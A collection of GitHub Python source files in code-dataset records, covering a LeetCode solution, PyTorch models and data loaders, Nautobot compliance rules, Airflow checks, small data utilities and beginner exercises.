107\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/find-minimum-time-to-finish-all-jobs\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def minimumTimeRequired(self, jobs: List[int], k: int) -> int:\n \"\"\"\n 失败!\n 方法一,拿到这个题第一想法是贪心。思路大概是这样的。\n\n if k == 1:\n return sum(jobs)\n elif k == 2:\n # 分成两堆,尽可能平均。先取最大的,然后依次取小的,哪堆小就放哪堆\n pass\n elif k == 3:\n # 分成三堆,尽可能平均。先取最大的,然后依次取小的,哪堆小就放哪堆\n pass\n\n 但是这样只能通过48/60的用例,卡在这种情况下\n jobs=[5,5,4,4,4],k=2。\n \"\"\"\n workers = [0] * k\n jobs.sort()\n while jobs:\n job = jobs.pop()\n min_worker = min(workers)\n idx = workers.index(min_worker)\n workers[idx] += job\n return max(workers)\n\n def minimumTimeRequired(self, jobs: List[int], k: int) -> int:\n \"\"\"\n 失败!\n 方法二,看到数据规模是12,但是k和n都是12,可能会超过10**7,抱着侥幸心理用DFS试一下\n\n 果然不出所料,超时了,用例通过率是16/60,卡在这个用例上\n [9899456,8291115,9477657,9288480,5146275,7697968,8573153,3582365,3758448,9881935,2420271,4542202],9\n \"\"\"\n job_asign = [0] * k\n n = len(jobs)\n ans = float('inf')\n\n def dfs(job, job_asign):\n if job == n:\n nonlocal ans\n ans = min(ans, max(job_asign))\n return\n\n for i in range(k):\n job_asign[i] += jobs[job]\n dfs(job + 1, job_asign)\n job_asign[i] -= jobs[job]\n\n dfs(0, job_asign)\n return ans\n\n def minimumTimeRequired(self, jobs: List[int], k: int) -> int:\n \"\"\"\n 失败!\n 方法三,在方法二的基础上用了lru_cache,但还是超时了,用例通过率是43/60,卡在这个用例上\n [254,256,256,254,251,256,254,253,255,251,251,255],10\n \"\"\"\n\n job_asign = (0,) * k\n n = len(jobs)\n ans = float('inf')\n\n from functools import lru_cache\n @lru_cache\n def dfs(job, job_asign_param):\n job_asign = list(job_asign_param)\n if job == n:\n nonlocal ans\n ans = min(ans, max(job_asign))\n return\n\n for i in range(k):\n job_asign[i] += jobs[job]\n dfs(job + 1, tuple(sorted(job_asign)))\n job_asign[i] -= jobs[job]\n\n dfs(0, tuple(job_asign))\n return ans\n\n def minimumTimeRequired(self, jobs: List[int], k: int) -> int:\n \"\"\"\n 失败!\n 方法四,方法三用了lru_cache,但还是超时了。原因是什么呢,其实只是减少了部分运算量,能不能继续减少呢\n \"\"\"\n\n job_asign = (0,) * k\n n = len(jobs)\n ans = float('inf')\n\n from functools import lru_cache\n @lru_cache\n def dfs(job, job_asign_param):\n job_asign = list(job_asign_param)\n if job == n:\n nonlocal ans\n ans = min(ans, max(job_asign))\n return\n # // 优先分配给“空闲工人”\n if 0 in job_asign:\n idx = job_asign.index(0)\n job_asign[idx] += jobs[job]\n dfs(job + 1, tuple(sorted(job_asign)))\n job_asign[idx] -= jobs[job]\n\n for i in range(k):\n job_asign[i] += jobs[job]\n dfs(job + 1, tuple(sorted(job_asign)))\n job_asign[i] -= jobs[job]\n\n dfs(0, tuple(job_asign))\n return ans\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.minimumTimeRequired(jobs=[3, 2, 3], k=3))\n print(s.minimumTimeRequired(jobs=[1, 2, 4, 7, 8], k=2))\n print(s.minimumTimeRequired(jobs=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], k=12))\n print(s.minimumTimeRequired([5, 5, 4, 4, 4], 2)) # 这个用例导致排序+贪心算法行不通\n","repo_name":"wanzhouyi/leetcode","sub_path":"1.数组和字符串/其它/1723. 完成所有工作的最短时间.py","file_name":"1723. 完成所有工作的最短时间.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"9773974119","text":"\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass Net(nn.Module):\n def __init__(self,N_STATES,N_ACTIONS ):\n super(Net, self).__init__()\n self.fc1 = nn.Linear(N_STATES, 5)\n self.fc1.weight.data.normal_(0, 0.1) # initialization\n self.out = nn.Linear(5, N_ACTIONS)\n self.out.weight.data.normal_(0, 0.1) # initialization\n\n\n def forward(self, x):\n x = self.fc1(x)\n x = F.elu(x)\n actions_value = self.out(x)\n return actions_value#F.softmax(actions_value)\n\nclass ActorCritic(nn.Module):\n def __init__(self, observation_space, action_space, hidden_size):\n super(ActorCritic, self).__init__()\n self.state_size = observation_space.shape[0]\n self.action_size = action_space.n\n\n self.relu = nn.ReLU(inplace=True)\n self.softmax = nn.Softmax()\n\n self.fc1 = nn.Linear(self.state_size, hidden_size)\n self.lstm = nn.LSTMCell(hidden_size, hidden_size)\n self.fc_actor = nn.Linear(hidden_size, self.action_size)\n self.fc_critic = nn.Linear(hidden_size, self.action_size)\n\n def forward(self, x, h):\n x = self.relu(self.fc1(x))\n h = self.lstm(x, h) # h is (hidden state, cell state)\n x = h[0]\n policy = self.softmax(self.fc_actor(x)).clamp(max=1 - 1e-20) # Prevent 1s and hence NaNs\n Q = self.fc_critic(x)\n V = (Q * policy).sum(1, keepdim=True) # V is expectation of Q under π\n return policy, Q, V, h\n\n\n","repo_name":"realaeon/pytorch-reinforcement-learning","sub_path":"core/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"4154873477","text":"import os\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\nfrom torchvision import datasets, transforms\r\nimport glob\r\nfrom PIL import Image\r\nimport pickle\r\n\r\nIMG_MEAN = [0.485, 0.456, 0.406]\r\nIMG_STD = [0.229, 0.224, 0.225]\r\n\r\n\r\nclass ImageFolderUnlabeled(datasets.ImageFolder):\r\n def __getitem__(self, index):\r\n sample, target = super().__getitem__(index)\r\n return sample\r\n\r\n\r\nclass ImageFolderAnon(Dataset):\r\n def __init__(self, root_dir, transform=None):\r\n types = (\r\n \"*.png\",\r\n \"*.jpg\",\r\n \"*.jpeg\",\r\n \"*.PNG\",\r\n \"*.JPEG\",\r\n \"*.JPG\",\r\n )\r\n\r\n self.root_dir = root_dir\r\n self.transform = transform\r\n files = []\r\n for ftype in types:\r\n pattern = os.path.join(self.root_dir, ftype)\r\n files.extend(glob.glob(pattern))\r\n self.files = files\r\n self.class_to_idx = None\r\n\r\n def __len__(self):\r\n return len(self.files)\r\n\r\n def __getitem__(self, idx):\r\n if torch.is_tensor(idx):\r\n idx = idx.tolist()\r\n\r\n img = Image.open(self.files[idx])\r\n if self.transform:\r\n img = self.transform(img)\r\n\r\n return img\r\n\r\n\r\ndef unpickle(file):\r\n with open(file, \"rb\") as fo:\r\n dic = pickle.load(fo)\r\n return dic\r\n\r\n\r\nclass ImageNet(Dataset):\r\n def __init__(self, root_dir, transform=None, test=False):\r\n self.x = []\r\n self.y = []\r\n self.img_size = 32\r\n for name in os.listdir(root_dir):\r\n tmpp = os.path.join(root_dir, name)\r\n d = unpickle(tmpp)\r\n tmpx = torch.from_numpy(d[\"data\"])\r\n self.x.append(tmpx)\r\n self.y.append(torch.LongTensor(d[\"labels\"]))\r\n if not test:\r\n self.x = torch.cat(self.x, 0)\r\n self.y = torch.cat(self.y, 0)\r\n if test:\r\n self.x = self.x[0]\r\n self.y = self.y[0]\r\n self.transform = transform\r\n\r\n def __getitem__(self, idx):\r\n img, target = self.x[idx], self.y[idx] - 1\r\n img = img.reshape((self.img_size, self.img_size, 3))\r\n img = Image.fromarray(img.numpy())\r\n if self.transform is not None:\r\n img = self.transform(img)\r\n return img, target\r\n\r\n def __len__(self):\r\n return self.y.shape[0]\r\n\r\n\r\ndef cifar10_transform(image_size, augment, normalize=True):\r\n return transforms.Compose(\r\n [\r\n transforms.RandomResizedCrop(image_size) if augment else lambda x: x,\r\n transforms.RandomHorizontalFlip(p=0.2) if augment else lambda x: x,\r\n transforms.ColorJitter(\r\n brightness=0.35, contrast=0.5, saturation=0.3, hue=0.03\r\n )\r\n if augment\r\n else lambda x: x,\r\n transforms.RandomVerticalFlip(p=0.05) if augment else lambda x: x,\r\n transforms.ToTensor(),\r\n transforms.Normalize(IMG_MEAN, IMG_STD) if normalize else lambda x: x,\r\n ]\r\n )\r\n\r\n\r\ndef imagenet_transform(image_size, augment):\r\n return transforms.Compose(\r\n [\r\n transforms.RandomHorizontalFlip() if augment else lambda x: x,\r\n transforms.RandomResizedCrop(image_size)\r\n if augment\r\n else transforms.RandomResizedCrop(image_size),\r\n transforms.ToTensor(),\r\n transforms.Normalize(IMG_MEAN, IMG_STD),\r\n ]\r\n )\r\n\r\n\r\ndef load_dataset(\r\n dataset,\r\n image_size,\r\n batch_size=32,\r\n drop_last=True,\r\n shuffle=True,\r\n augment=True,\r\n normalize=True,\r\n label=False,\r\n):\r\n from torch.utils.data import DataLoader\r\n\r\n if dataset == \"cifar10\":\r\n transform = cifar10_transform(image_size, augment, normalize)\r\n test_transform = cifar10_transform(image_size, False)\r\n else:\r\n transform = imagenet_transform(image_size, augment)\r\n test_transform = imagenet_transform(image_size, False)\r\n\r\n if dataset == \"cifar10\":\r\n dl_path = \"/tmp/cifar10\"\r\n is_exist = not os.path.exists(dl_path)\r\n trainset = datasets.CIFAR10(\r\n dl_path, train=True, transform=transform, download=is_exist\r\n )\r\n testset = datasets.CIFAR10(\r\n dl_path, train=False, transform=test_transform, download=is_exist\r\n )\r\n elif dataset == \"imageNet32\":\r\n train_path = os.path.join(dataset, \"train\")\r\n val_path = os.path.join(dataset, \"val\")\r\n testset = ImageNet(val_path, transform=test_transform, test=True)\r\n trainset = ImageNet(train_path, transform=transform)\r\n\r\n else:\r\n train_path = os.path.join(dataset, \"train\")\r\n val_path = os.path.join(dataset, \"val\")\r\n train_folders = os.path.join(train_path, \"*\")\r\n train_glob = glob.glob(train_folders)\r\n\r\n if len(train_glob) > 0:\r\n if not label:\r\n trainset = ImageFolderUnlabeled(train_path, transform=transform)\r\n if label:\r\n trainset = datasets.ImageFolder(train_path, transform=transform)\r\n if os.path.exists(val_path):\r\n if not label:\r\n testset = ImageFolderUnlabeled(val_path, transform=test_transform)\r\n if label:\r\n testset = datasets.ImageFolder(val_path, transform=test_transform)\r\n else:\r\n testset = None\r\n else:\r\n trainset = ImageFolderAnon(dataset, transform=transform)\r\n print(\"Dataset length: %s\" % len(trainset))\r\n testset = None\r\n\r\n trainloader = DataLoader(\r\n trainset,\r\n batch_size=batch_size,\r\n shuffle=shuffle,\r\n num_workers=0,\r\n drop_last=drop_last,\r\n )\r\n if testset:\r\n testloader = DataLoader(\r\n testset, batch_size=batch_size, shuffle=True, num_workers=0\r\n )\r\n else:\r\n testloader = None\r\n return trainloader, testloader\r\n\r\n\r\ndef get_device_name(tensor):\r\n\r\n device = tensor.get_device()\r\n device = \"cpu\" if device == -1 else device\r\n return device\r\n\r\n\r\ndef denorm_batch(img, device=None):\r\n \"\"\"\r\n Normalized batch (B,C,H,W) of images in (mean-std,mean+std) from (0,1) space transformed to [0,255] space\r\n \"\"\"\r\n\r\n device = get_device_name(img) if not device else device\r\n std = torch.tensor(IMG_STD, device=device).view(1, 3, 1, 1)\r\n mean = torch.tensor(IMG_MEAN, device=device).view(1, 3, 1, 1)\r\n return (torch.clamp(img * std + mean, 0, 1) * 255).type(torch.long)\r\n\r\n\r\ndef norm_batch(img, device=None):\r\n device = get_device_name(img) if not device else device\r\n std = torch.tensor(IMG_STD, device=device).view(1, 3, 1, 1)\r\n mean = torch.tensor(IMG_MEAN, device=device).view(1, 3, 1, 1)\r\n\r\n if img.shape[1] == 1:\r\n (torch.clamp(img, 0, 1) * 255).type(torch.long)\r\n return (img) / mean - std\r\n\r\n","repo_name":"fostiropoulos/Depthwise-Quantization","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6857,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"70203229654","text":"import re\nfrom nautobot.extras.models.tags import Tag\nfrom nautobot_data_validation_engine.custom_validators import DataComplianceRule, ComplianceError\n\nclass DeviceDataComplianceRules(DataComplianceRule):\n model = \"dcim.device\"\n enforce = True\n\n # Checks if a device name contains any special characters other than a dash (-), underscore (_), or period (.) using regex\n def audit_device_name_chars(self):\n if not re.match(\"^[a-zA-Z0-9\\-_.]+$\", self.context[\"object\"].name):\n raise ComplianceError({\"name\": \"Device name contains unallowed special characters.\"})\n\n # Checks if two IKE-related tags are attached to the device\n def audit_device_tags(self):\n ike_tags = Tag.objects.filter(name__startswith='IKE')\n applied_ike_tags = 0\n for ike_tag in ike_tags:\n if ike_tag in self.context[\"object\"].tags.all():\n applied_ike_tags += 1\n if applied_ike_tags > 1:\n raise ComplianceError({\"tags\": \"Device tags contain multiple IKE versions.\"})\n\n def audit(self):\n messages = {}\n for fn in [self.audit_device_name_chars, self.audit_device_tags]:\n try:\n fn()\n except ComplianceError as ex:\n messages.update(ex.message_dict)\n if messages:\n raise ComplianceError(messages)\n","repo_name":"nkallergis/data_validation_rules","sub_path":"custom_validators/device_data_compliance_rules.py","file_name":"device_data_compliance_rules.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30287658644","text":"\"\"\"\nTable Level Checks\n\"\"\"\nTABLE_CHECKS = [\n {\"row_count_check\": {\"check_statement\": \"COUNT(*) = 9\"}},\n {\"dmc_less_than_twice_dc_check\": {\"check_statement\": \"2 * dmc < dc\"}}\n # could be cool to check the table schema against known columns, as well\n]\n\n\"\"\"\nColumn Level Checks\n\"\"\"\nCOL_CHECKS = [\n {\"id\": {\n \"null_check\": {\"equal_to\": 0},\n \"distinct_check\": {\"equal_to\": 9}\n }},\n {\"ffmc\": {\n \"min\": {\"geq_to\": 50},\n \"max\": {\"less_than\": 100}\n }},\n]\n","repo_name":"astronomer/airflow-data-quality-demo","sub_path":"include/forestfire_checks/checks.py","file_name":"checks.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"67"} +{"seq_id":"34207634174","text":"import pandas as pd\nimport csv\n\ndef read_bigfile(file, dates_to_keep):\n # function: selecting tweets from a very large .csv file using list of date strings. Only loads 10,000 lines into memory at a time, so it can quickly select the rows where the date strings match 'dates_keep' list\n dateCols = ['timestamp']\n frames = []\n for chunk in pd.read_csv(file,sep='\\t', chunksize=chunksize):\n chunk2 = chunk[chunk['timestamp'].str.contains('|'.join(dates_to_keep))]\n frames.append(chunk2)\n df = pd.concat(frames)\n return df\n\nfolderpath = 'PATH/TO/BIGCSV/'\nfile = folderpath + 'BIG_CSV.csv'\nchunksize = 10000\n# example list of date strings:\ndates_keep = ['Mon Sep 16', 'Tue Sep 17', 'Wed Sep 18', 'Thu Sep 19', 'Fri Sep 20', 'Sat Sep 21', 'Sun Sep 22']\n\ntdf = read_bigfile(file,dates_keep)\ntdf.to_csv(filepath +'SPECIFIC_DATES.csv', sep='\\t',index=False, quoting=csv.QUOTE_ALL)","repo_name":"boomalope/misc","sub_path":"selectTWdates.py","file_name":"selectTWdates.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29347428253","text":"import numpy as np\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom sklearn import preprocessing\nfrom sklearn.linear_model import Ridge\n\nDAYS_PER_YEAR = 112\nNUMBERS = '0123456789'\nSPECIALTIES = [\"Technical\", \"Quick\", \"Head\", \"Powerful\", \"Unpredictable\", \"Resilient\", \"Support\"]\n\n\ndef extract_data():\n with open('raw_data.html', mode='r') as f:\n data = f.read()\n soup = BeautifulSoup(data)\n head_row = soup.thead.tr\n ths = head_row.find_all('th')\n column_names = [th.string.strip() for th in ths]\n tbody = soup.tbody\n trs = tbody.find_all('tr')\n trs = [tr.find_all('td') for tr in trs]\n trs = [[td.get_text().strip() for td in tr] for tr in trs]\n df = pd.DataFrame(trs)\n df.columns = column_names\n return df\n\n\ndef process_age(value):\n split_value = value.split(' ')\n years = int(split_value[0])\n days = int(split_value[1][1:-1])\n age = years + days / (DAYS_PER_YEAR - 1)\n return age\n\n\ndef process_form(value):\n form = value.split(' ')[1]\n form = int(form[1:-1])\n return form\n\n\ndef process_tsi(value):\n value = [char for char in value if char in NUMBERS]\n value = ''.join(value)\n tsi = int(value)\n return tsi\n\n\ndef process_price(value):\n split_value = value.split(' ')\n\n if split_value[0] == '*':\n return None\n\n value = [char for char in value if char in NUMBERS]\n value = ''.join(value)\n price = int(value)\n return price\n\n\ndef populate_specialties(row):\n specialty = row['Specialty']\n if specialty != '':\n row[specialty] = 1\n\n return row\n\n\ndef preprocess_data(df):\n removed_column_names = ['ID', 'Date']\n kept_column_names = list(set(list(df.columns.values)).difference(removed_column_names))\n df = df[kept_column_names]\n\n df['Age'] = df['Age'].apply(process_age)\n df['Form'] = df['Form'].apply(process_form)\n df['TSI'] = df['TSI'].apply(process_tsi)\n df['Price'] = df['Price'].apply(process_price)\n\n for specialty in SPECIALTIES:\n df[specialty] = 0\n\n df = df.apply(populate_specialties, axis=1)\n\n df.drop('Specialty', axis=1, inplace=True)\n\n for index, row in df.iterrows():\n if pd.isnull(row['Price']):\n test = row.to_frame().transpose()\n test = test.drop('Price', axis=1)\n break\n\n df = df[np.isfinite(df['Price'])]\n\n return df, test\n\n\ndef split_x_y(column='Price'):\n y = data[column]\n x = data.drop(column, axis=1)\n\n return x, y\n\n\ndef scale(data, scaler=None):\n data = data.values\n\n if scaler is None:\n min_max_scaler = preprocessing.MinMaxScaler()\n scaled_data = min_max_scaler.fit_transform(data)\n scaler = min_max_scaler\n else:\n scaled_data = scaler.transform(data)\n\n return scaled_data, scaler\n\n\nif __name__ == '__main__':\n data = extract_data()\n data, test = preprocess_data(data)\n\n x, y = split_x_y()\n\n x, x_scaler = scale(x)\n test, _ = scale(test, x_scaler)\n model = Ridge()\n model.fit(x, y)\n pred = model.predict(test)\n\n pass\n","repo_name":"hoangphucITJP/hattrick-player-price-predict","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6780442595","text":"# Arul Prakash Samathuvamani : github : @arul2810\n\n# No Optimisation Done - Check for Optimisation\n\nno_of_str = int(input())\ni = 0\nstr1 = []\nquery = []\nwhile i < no_of_str:\n temp = str(input())\n str1.append(temp)\n i = i+1\ni = 0\nno_of_query = int(input())\nwhile i < no_of_query:\n temp = str(input())\n query.append(temp)\n i = i+1\ni = 0\nj = 0\nans = []\n#search algo is linear search. Can change?\n\nwhile i < no_of_query:\n temp = 0\n\n while j < no_of_str:\n\n if query[i] == str1[j]:\n\n temp = temp +1\n j = j+1\n else:\n j = j+1\n ans.append(temp)\n i = i+1\n j=0\n\ni = 0\n\nwhile i < no_of_query:\n print(ans[i])\n i = i+1\n\n","repo_name":"arul2810/Algo-and-DS","sub_path":"Hackrank - Arrays/Sparse Array.py","file_name":"Sparse Array.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12698560","text":"#!/usr/bin/env python\n\nimport argparse\nimport queue\nimport subprocess\nimport threading\nimport time\n\nfrom pyperclip import paste\n\n\nclass Runner:\n def __init__(self, verbose) -> None:\n self.verbose = verbose\n def run(self, command):\n if self.verbose:\n print(command)\n subprocess.call(command)\n if self.verbose:\n print(\"done.\")\n\n\nclass AsyncRunner(Runner):\n def __init__(self, verbose) -> None:\n super().__init__(verbose)\n self.queue = queue.Queue()\n self.worker = threading.Thread(target=self._worker, daemon=True)\n self.worker.start()\n\n def run(self, command):\n self.queue.put(command)\n if self.verbose:\n print(command, \"(queued)\")\n\n def _worker(self):\n while True:\n command = self.queue.get()\n try:\n super().run(command)\n except FileNotFoundError as e:\n print(\"Warning, run failed:\", e)\n\n\nMARKER = \"{}\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--verbose\", \"-v\", action=\"store_true\")\nparser.add_argument(\"--single-word\", \"-S\", action=\"store_true\")\nparser.add_argument(\"--queue\", \"-q\", action=\"store_true\", help=\"use async queue\")\nparser.add_argument(\"args\", nargs=argparse.REMAINDER)\nopts = parser.parse_args()\n\nargs = opts.args\nrunner = (AsyncRunner if opts.queue else Runner)(opts.verbose)\n\nif not any(MARKER in arg for arg in args):\n args.append(MARKER)\n\nold = paste()\n\nwhile True:\n time.sleep(0.1)\n new = paste()\n if new != old:\n old = new\n\n if opts.single_word and len(new.split()) > 1:\n print(\"Skipping:\", new)\n continue\n\n command = [arg.replace(MARKER, new) for arg in args]\n runner.run(command)\n","repo_name":"tgandor/meats","sub_path":"system/clipboard/run_cb.py","file_name":"run_cb.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"1746839276","text":"import streamlit as st\nfrom parse import Year, Month\nimport datetime\nimport pandas as pd\nimport plotly.express as px\nimport plotly.graph_objects as go\n# from data_collection import Get\n\nmonth_dict = {\n \"January\": '01',\n \"February\": '02',\n \"March\": '03',\n \"April\": '04',\n \"May\": '05',\n \"June\": '06',\n \"July\": '07',\n \"August\": '08',\n \"September\": '09',\n \"October\": '10',\n \"November\": '11',\n \"December\": '12'\n}\n\nst.set_page_config(\n page_title=\"Financial Budget\",\n layout=\"centered\"\n)\n\nst.title(\"Financial Budget\")\n\n\ndef highlight(num):\n if num < -20:\n return 'color: #F04426'\n elif num > 40:\n return 'color: lightgreen'\n else:\n return 'color: white'\n\nwith st.sidebar:\n st.title(\"Select A Budget Period\")\n select = st.selectbox(\"Yearly/Month Budget\", (\"None\", \"Yearly\", \"Monthly\"))\n\nif select == 'Yearly':\n with st.sidebar:\n year = st.selectbox(\"Choose a year\", (\"2022\", \"2023\"))\n y = Year(year)\n st.subheader(year + ' Overview')\n c = pd.DataFrame([-y.total_debit, y.total_credit, y.net_gain], index=['Total Expenses', 'Total Income', 'Net Cash Flow'], columns=['Total ($)'])\n s = px.bar(\n c,\n labels={'index': 'Categories', 'value': '($)'},\n text_auto=True,\n )\n s.update_layout(\n font_family='Serif',\n font_size=14,\n plot_bgcolor='#3A4356',\n paper_bgcolor='#3A4356'\n )\n st.plotly_chart(s)\n st.subheader(\"Category Breakdown\")\n cats_dict = y.categories\n category_pie = go.Figure(\n go.Pie(\n labels=list(cats_dict.keys()),\n values=list(cats_dict.values()),\n hole=.58,\n hoverinfo= 'label+percent',\n textinfo='value'\n )\n )\n category_pie.update_layout(\n font_family='Serif',\n font_size=14\n )\n st.plotly_chart(category_pie)\n st.subheader(\"Total Transactions for \" + year)\n st.dataframe(y.budgetData.style.format({'amount': '{:.2f}'}).applymap(highlight, 'amount'), 800, 10000)\n st.subheader(year + ' ' + \"Transactions Sorted by Category\")\n st.dataframe(y.category_transactions.style.format({'amount': '{:.2f}'}).applymap(highlight, 'amount'), 800, 10000)\n st.subheader(year + ' ' + \"Transactions Sorted by Price\")\n st.dataframe(y.price_sort.style.format({'amount': '{:.2f}'}).applymap(highlight, 'amount'), 800, 10000)\nelif select == 'Monthly':\n with st.sidebar:\n month = st.selectbox(\"Choose a mnoth\", (\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\", \"December\"))\n year = st.selectbox(\"Choose a year\", (\"2022\", \"2023\"))\n m = Month(month_dict[month], year)\n st.subheader(month + ' Overview')\n c = pd.DataFrame([-m.total_debit, m.total_credit, m.net_gain], index=['Total Expenses', 'Total Income', 'Net Cash Flow'], columns=['Total ($)'])\n s = px.bar(\n c,\n labels={'index': 'Categories', 'value': '($)'},\n text_auto=True,\n )\n s.update_layout(\n font_family='Serif',\n font_size=14,\n plot_bgcolor='#3A4356',\n paper_bgcolor='#3A4356'\n )\n st.plotly_chart(s)\n\n st.subheader(\"Category Breakdown\")\n cats_dict = m.categories\n category_pie = go.Figure(\n go.Pie(\n labels=list(cats_dict.keys()),\n values=list(cats_dict.values()),\n hole=.58,\n hoverinfo= 'label+percent',\n textinfo='value'\n )\n )\n category_pie.update_layout(\n font_family='Serif',\n font_size=14\n )\n st.plotly_chart(category_pie)\n\n st.subheader(\"Total Transactions for \" + month + \" \" + year)\n st.dataframe(m.transactions_df.style.format({'amount': '{:.2f}'}).applymap(highlight, 'amount'), 800, 10000)\n st.subheader(month + \" \" + year + ' ' + \"Transactions Sorted by Category\")\n st.dataframe(m.category_transactions.style.format({'amount': '{:.2f}'}).applymap(highlight, 'amount'), 800, 10000)\n st.subheader(month + \" \" + year + ' ' + \"Transactions Sorted by Price\")\n st.dataframe(m.price_sort.style.format({'amount': '{:.2f}'}).applymap(highlight, 'amount'), 800, 10000)\n\n","repo_name":"joshuachio/Personal-Finance-Manager","sub_path":"scripts/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":4171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34242474977","text":"from random import sample\n\nimport numpy as np\nfrom pyclustering.cluster.kmedoids import kmedoids\nfrom sklearn.base import BaseEstimator, ClusterMixin\nfrom sklearn.metrics import silhouette_score\n\n\nclass KMedoids(BaseEstimator, ClusterMixin):\n \"\"\"K Medoids sklearn wrapper, based on pyclustering library.\"\"\"\n\n def __init__(self, k=0):\n self.k = k\n self.k_medoids = None\n self.clusters = None\n self.bag = None\n self.labels = None\n\n def fit(self, X, y=None):\n self.k_medoids = kmedoids(X, self.k, data_type='distance_matrix')\n self.k_medoids.process()\n self.clusters = self.k_medoids.get_clusters()\n return self\n\n def predict(self, X):\n self.bag = self.k_medoids.get_medoids()\n return self.bag\n\n def score(self, X, y=None):\n self.labels = np.zeros(X.shape[0])\n for i in range(len(self.clusters)):\n ind = self.clusters[i]\n self.labels[ind] = i\n return silhouette_score(X, self.labels, metric='precomputed')\n\n def get_params(self, deep=True):\n return {\"k\": self.k}\n\n\ndef grid_search_cv(X, parameters, cv=10):\n mean_scores = []\n for value in parameters:\n sil = []\n for _ in range(cv):\n init_indices = sample(range(X.shape[0]), value)\n clf = KMedoids(init_indices)\n clf.fit(X)\n sil.append(clf.score(X))\n\n mean_scores.append(np.round(np.mean(sil), 4))\n\n best_score = np.max(mean_scores)\n\n print('Best Silhouette score found after Grid search : %.4f' % best_score)\n print('Best parameter : %s' % parameters[np.argmax(mean_scores)])\n\n return mean_scores\n","repo_name":"Adamantios/Delicious-MIL","sub_path":"k_medoids.py","file_name":"k_medoids.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31521262906","text":"#3. Write a program which contains one function named as Add() which accepts two numbers\r\n#from user and return addition of that two numbers.\r\n#Input : 11 5 Output : 16\r\n\r\ndef Add(iNo1,iNo2):\r\n\tiResult=iNo1+iNo2\r\n\treturn iResult\r\n\t\r\ndef main():\r\n\tiValue1,iValue2=0,0\r\n\r\n\tprint(\"Enter first number\")\r\n\tiValue1=int(input())\r\n\r\n\tprint(\"Enter second number\")\r\n\tiValue2=int(input())\r\n\r\n\tiRet=Add(iValue1,iValue2)\r\n\tprint(\"Addition is :\",iRet)\r\n\r\nif __name__==\"__main__\":\r\n\tmain()","repo_name":"Mohmmadali7517/Python","sub_path":"Program3.py","file_name":"Program3.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36013299362","text":"import re\n\n\nquote_pattern = re.compile(\"^'.*'$\")\ndef strip_quotes(word):\n if quote_pattern.match(word):\n return word[1:-1]\n else:\n return word\n\n\ndef word_count(phrase):\n pattern = re.compile(\"[^a-zA-Z0-9']\")\n phrase = pattern.sub(' ', phrase)\n phrase = phrase.lower()\n words = phrase.split()\n words = [strip_quotes(w) for w in words]\n d = {}\n for word in words:\n if word not in d:\n d[word] = 1\n else:\n d[word] += 1\n return d\n","repo_name":"HarrisonMc555/exercism","sub_path":"python/word-count/word_count.py","file_name":"word_count.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"20519111802","text":"import glob\nimport os\nimport os.path, time\nfrom datetime import datetime\n\npattern = '/SNS/SNAP/shared/Calibration/**/1010/config1010*.json'\nFindMostRecent = False\n\nrefDate = datetime.now().timestamp()\n\nfor fname in glob.glob(pattern, recursive=True):\n ShortestTimeDifference = 10000000000 # a large number of seconds\n if os.path.isfile(fname):\n #rint(fname)\n #print(\"Created: %s\" % time.ctime(os.path.getctime(fname)))\n #print('epoch:',os.path.getctime(fname))\n #print('refdate epoch:',refDate)\n delta = refDate - os.path.getctime(fname)\n #print('difference:',delta)\n if delta <= ShortestTimeDifference:\n MostRecentFile = fname\n ShortestTimeDifference = delta\nif ShortestTimeDifference == 10000000000:\n print('no matching file found')\nelse:\n print('Most recent matching file:',fname)\n print('Created: %s'% time.ctime(os.path.getctime(fname)))\n\n #print(refDate-vvos.path.getctime(fname))\n #timestr = SetUpDate.strftime(\"_%d-%b-%Y-%H%M%S\")","repo_name":"mguthriem/SandPitSNAP","sub_path":"dirSearch.py","file_name":"dirSearch.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8841098186","text":"class Solution:\n\n #Function to find unit area of the largest 